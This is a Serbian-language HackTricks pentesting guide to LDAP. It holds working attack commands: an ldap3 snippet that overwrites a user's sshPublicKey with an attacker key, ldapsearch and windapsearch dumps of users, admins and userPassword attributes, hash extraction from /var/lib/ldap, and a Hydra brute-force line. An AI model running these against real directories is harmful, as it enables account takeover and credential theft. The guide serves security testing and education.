hacktricks/network-services-pentesting/pentesting-ldap.md

17 KiB

389, 636, 3268, 3269 - Pentesting LDAP

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Korišćenje LDAP (Lightweight Directory Access Protocol) je uglavnom za lociranje različitih entiteta kao što su organizacije, pojedinci i resursi poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Nudi pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP-om, imajući manji kodni otisak.

LDAP direktorijumi su strukturirani da omoguće njihovu distribuciju preko nekoliko servera, pri čemu svaki server sadrži replikovanu i sinhronizovanu verziju direktorijuma, nazvanu Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSAs po potrebi kako bi dostavio ujedinjen odgovor zahtevaocu.

Organizacija LDAP direktorijuma podseća na hijerarhiju stabla, počevši od korenskog direktorijuma na vrhu. Ovo se granči ka zemljama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite odeljenja ili departmane, konačno dostižući nivo individualnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.

Podrazumevani portovi: 389 i 636 (ldaps). Globalni katalog (LDAP u ActiveDirectory-u) je dostupan podrazumevano na portovima 3268 i 3269 za LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP format za razmenu podataka

LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj).

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Linije 1-3 definišu top nivo domena local
  • Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
  • Linije 10-16 definišu 2 organizacione jedinice: dev i sales
  • Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima

Upis podataka

Imajte na umu da ako možete da menjate vrednosti, možete izvršiti zaista interesantne akcije. Na primer, zamislite da možete promeniti informacije "sshPublicKey" vašeg korisnika ili bilo kog korisnika. Veoma je verovatno da ako ovaj atribut postoji, onda ssh čita javne ključeve iz LDAP-a. Ako možete da promenite javni ključ korisnika, moći ćete da se prijavite kao taj korisnik čak i ako autentikacija lozinkom nije omogućena u ssh-u.

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Snifovanje lozinki u čistom tekstu

Ako se LDAP koristi bez SSL-a, možete snifovati lozinke u čistom tekstu u mreži.

Takođe, možete izvesti MITM napad u mreži između LDAP servera i klijenta. Ovde možete izvesti Napad na smanjenje nivoa sigurnosti kako bi klijent koristio lozinke u čistom tekstu za prijavljivanje.

Ako se koristi SSL, možete pokušati izvesti MITM kao što je gore navedeno, ali nudeći lažni sertifikat, ako ga korisnik prihvati, možete smanjiti nivo autentifikacije i ponovo videti lozinke.

Anoniman pristup

Zaobilaženje TLS SNI provere

Prema ovom objašnjenju samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com) mogao je da kontaktira LDAP servis i izvuče informacije kao anonimni korisnik:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonimne veze

LDAP anonimne veze omogućavaju neautentifikovanim napadačima da dobiju informacije iz domena, kao što su potpuni popis korisnika, grupa, računara, atributa korisničkih naloga i pravila lozinke domena. Ovo je zastarela konfiguracija, i od Windows Servera 2003, samo autentifikovanim korisnicima je dozvoljeno da pokreću LDAP zahteve.
Međutim, administratori su možda morali da podele određenu aplikaciju za dozvolu anonimnih veza i dali više pristupa nego što je bilo planirano, čime su omogućili neautentifikovanim korisnicima pristup svim objektima u AD.

Validni kredencijali

Ako imate validne kredencijale za prijavljivanje na LDAP server, možete izlistati sve informacije o Administratoru domena koristeći:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Enumeracija

Automatizovano

Korišćenjem ovoga bićete u mogućnosti da vidite javne informacije (kao što je naziv domena):

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Pogledajte enumeraciju LDAP-a pomoću Python-a

Možete pokušati enumerisati LDAP sa ili bez akreditiva korišćenjem Python-a: pip3 install ldap3

Prvo pokušajte da se povežete bez akreditiva:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Ako je odgovor True kao u prethodnom primeru, možete dobiti neke interesantne podatke o LDAP (kao što su naming context ili domain name) servera sa:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Kada jednom imate kontekst imenovanja, možete napraviti neke uzbudljivije upite. Ovaj jednostavan upit treba da vam pokaže sve objekte u direktorijumu:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Ili ispraznite ceo ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch je Python skripta korisna za enumeraciju korisnika, grupa i računara sa Windows domena korišćenjem LDAP upita.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Proverite nul kredencijale ili da li su vaše kredencijale validne:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Ako pronađete nešto što kaže da je "bind mora biti završen", to znači da su pristupni podaci netačni.

Možete izvući sve sa domena koristeći:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Izdvajanje korisnika:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Izvršite ekstrakciju računara:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Izvršite izvlačenje mojih informacija:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Izvuci Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Izvucite Korisnike domena:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Izvucite Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Izvuci Administratori:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Izvucite Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Da biste videli da li imate pristup bilo kojoj lozinci, možete koristiti grep nakon izvršavanja jednog od upita:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

pbis

Pbis možete preuzeti sa ovde i obično se instalira u /opt/pbis.
Pbis vam omogućava da lako dobijete osnovne informacije:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Grafički interfejs

Apache Directory

Preuzmite Apache Directory odavde. Možete pronaći primer kako koristiti ovaj alat ovde.

jxplorer

Možete preuzeti grafički interfejs sa LDAP serverom ovde: http://www.jxplorer.org/downloads/users.html

Podrazumevano je instaliran u: /opt/jxplorer

Godap

Možete pristupiti ovde: https://github.com/Macmod/godap

Autentikacija putem kerberosa

Korišćenjem ldapsearch možete autentikovati putem kerberosa umesto putem NTLM korišćenjem parametra -Y GSSAPI

POST

Ako možete pristupiti fajlovima gde se baze podataka nalaze (može biti u /var/lib/ldap). Možete izvući heševe korišćenjem:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Konfiguracioni fajlovi

  • Opšte
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif
Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: